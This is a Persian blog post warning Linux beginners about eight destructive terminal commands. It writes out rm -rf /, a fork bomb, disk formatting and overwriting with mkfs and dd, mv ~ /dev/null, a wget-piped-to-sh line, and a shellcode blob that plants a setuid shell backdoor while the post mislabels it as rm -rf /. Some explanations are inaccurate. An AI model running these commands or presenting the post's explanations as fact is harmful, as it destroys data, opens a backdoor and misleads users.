ترمینال لینوکس یکی از ابزار های قدرتمند لینوکس می باشد و لینوکس دوست ندارد تا شما با وارد کردن این دستور ها باعث خراب شدن سیستم خود شوید. از آنجایی که برخی همواره علاقه به خراب کاری دارند ما برای شما این کامند ها و نتیجه ی آنها را قرار می دهیم تا اگر در جایی شما را تشویق به وارد کردن این دستور ها کردند بدانید که کدام دستور ها خطرناک می باشند.


 

rm -rf /  – همه چیز پاک کن!

دستور rm -rf / در ترمینال همه چیز را پاک میکند. این دستور حتی اگر دستگاه دیگری مانند فلش نیز به سیستم شما باید را پاک میکند.

  • rm: این دستور پاک کردن می باشد.
  • -rf : این دستور می گوید که تمامی اطلاعات مجود در دایرکتوری (مکانی که هستید) را بدون پرسیدن یا prompting پاک کن.
  • / : نیز شما را به دایرکتوری اصلی لینوکس منتقل می کند که تمامی فایل ها و فولدر های شما زیر شاخه ای از این آدرس می باشد.

پس حسابی مراقب باشید. دستور بالا همجنین می تواند بصورت – rm –rf ~ باشد که که تمامی اطلاعات موجود در Home شما را پاک می کند و یا دستور rm -rf .* که باعث پاک شدن تمامی فایل های کانفیگ شده می شود.

صورت دیگر rm –rf /

کدا rm –rf / شکل دیگری نیز دارد که همان کار را با سیستم شما می کند :

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

کد بالا ورژن هگز (Hex) دستور rm –rf / می باشد.

:(){ :|: & };: – یک بمب !

دستوری مانند دستور زیر یک کامند بسیار خطرناک می باشد :

:(){ :|: & };:

این دستور به این صورت عمل می کند که دستور کپی شدن به فایل ها را می دهد و اجازه می دهد فایل کپی شده جایگزین فایل قبلی شود، و این کار را به سرعتی انجام می دهد که موجب استفاده ی کامل از رم و سی پی یو شما را می کند و باعث هنگی سیستم شما می شود.

۸ کامند مرگبار لینوکسی که هرگز نباید استفاده شود! - چی جوری

mkfs.ext4 /dev/sda1 – فرمت کردن هارد درایو

mkfs.ext4 /dev/sda1 فهمدن این دستور راحت است :

  •  mkfs.ext4 : ساخت یک فایل ext4 سیستمی (یا همان پارتیشن جدید)
  • /dev/sda1 : راه اندازی فایل بالا در هر جایی که باشد.

دو دستور بالا اگر در کنار یکدیگر اجرا شونددر هر پارتیشن یا درایوی که باشید آن را وایپ می کند (یعنی قابل بازیابی نیست) حال بسته به شانس شماست. دستور بالا می تواند ادامه دار نیز باشد و با وارد کردن دستور mkfs.ext3 /dev/sdb2 با سراغ درایو بعدی برود.

command > /dev/sda – دادن خروجی به هارد درایو

اسکلت دستوری command > /dev/sda یک خروجی مشخص را به جایی که در آن قرار دارید می فرستد و باعث صدمه زدن به قایل های سیستمی می شود.

  • command: می تواند هردستوری باشد.
  • > : آدرس دهی لینوکسی می  باشد که که دستور می دهد نتیچه ی command را به آدرس بعدش منتقل کند.
  • /dev/sda ک آدرسی که می خواهیم تا نتیجه ی کامند در آن ظاهر شود.

پس دقت داشته باشید که در دستور هایی که /dev/sd را دارند چه چیزی می باشند.

dd if=/dev/random of=/dev/sda – نوشتن فایل جفنگ بر روی هارد

دستور dd if=/dev/random of=/dev/sda همچنین می تواند باعث آسیب زدن به فایل های شما شود.

  • dd : کپی  کردن یک فایل از جایی به جای دیگر
  • if=/dev/random : استفاده از /dev/random انتخاب فایل بصورت رندوم می باشد همچنین /dev/zero شکل دیگر این ددستور است.
  • of=/dev/sda : وظیفه ی این بخش قرار دادن فایل خروجی کپی شده در اولین جا می باشد و اگر فایلی هم نام آن باشد، فایل جدید را جایگزین میکند.

ddیک دستور برای کپی کردن یک فایل از جایی به جای دیگری سیستم می باشد پس هنگام استفاده از این دستور حسای حواستان حمع باشد.

۸ کامند مرگبار لینوکسی که هرگز نباید استفاده شود! - چی جوری

mv ~ /dev/null – منتقل کردن Home Directory به سیاه چاله

/dev/null یک مکان خاص می باشد، مکانی به نام نابودی! mv ~ /dev/null تمامی فایل های شخصی شما را به نابودی می کشاند.

  • mv: دستور انتقال است و اصل فایل را منتقل می کند.
  • ~ : نشان دهنده ی فولدر Home
  • /dev/null : انتقال فولدر Home به /dev/null و یا بعبارت دیگر به نابودی کشاندن این فولدر و حذف فایل اصلی

دقت داشته باشید که ~  شما را به فولدر اصلی منتقل می کند و تفاوتی نمی کند که در کجا قرار دارید.

wget http://example.com/something -O – | sh – دانلود و اجرای یک اسکریپت

با اجرا کردن دستور بالا سیستم شما یک فایل را دانلود می کند و آن را بلافاصله پس از اتمام دانلود بر روی سیستم شما اجرا میکند. اینکار می تواند بسیار خطرناک باشد. زیرا که مشحص نیست فایل دانلود شده چه  چیز می باشد. حتی می تواند در آدرس اینترنتی بالا و یا فایل بالا یکی از همان دستورات خطرناک که از اوایل آموزش برای شما شرح دادیم قرار داده شده باشد.

  • wget : ابزاری برای دانلود
  • http://example.com/something : یک آدرس برای دانلود کردن از آن.
  • | : ارسال فایل برای اجرا شدن دستور بعدی در آن
  • sh : اجرا کردن فایل در صورتی که یک اسکریپت بش (bash script) باشد.

هرگز فایلی را که نمی دانید چه هست یا چکار می کند را دانلود نکنید.

 

نکته ی آخر : اگر تازه به سمت لینوکس رفته اید و یا با کامند های آن آشنایی ندارید قبل از اجرای هر دستور ابتدا یک چستجو در اینترنت انجام دهید تا سیستم شما آسیب نبیند. در تمامی مراحل بالا این فرض که کسی می خواهد به شما آسیب برساند لحاظ شده است اما جهل شما نسبت به دستورات ترمینال لینوکس می تواند بزرگترین آسیب زننده به شما باشد.

درباره نویسنده

امیرحسین

هیچ چیز در دنیا ارزش آن را ندارد که انسان ،
ازآنچه دوست دارد دست بکشد !
>>آلبر کامو<<

۲ نظر

متن نظر

ch

...با کلیک بر روی تصویر بالا سوال خود را از ما بپرسید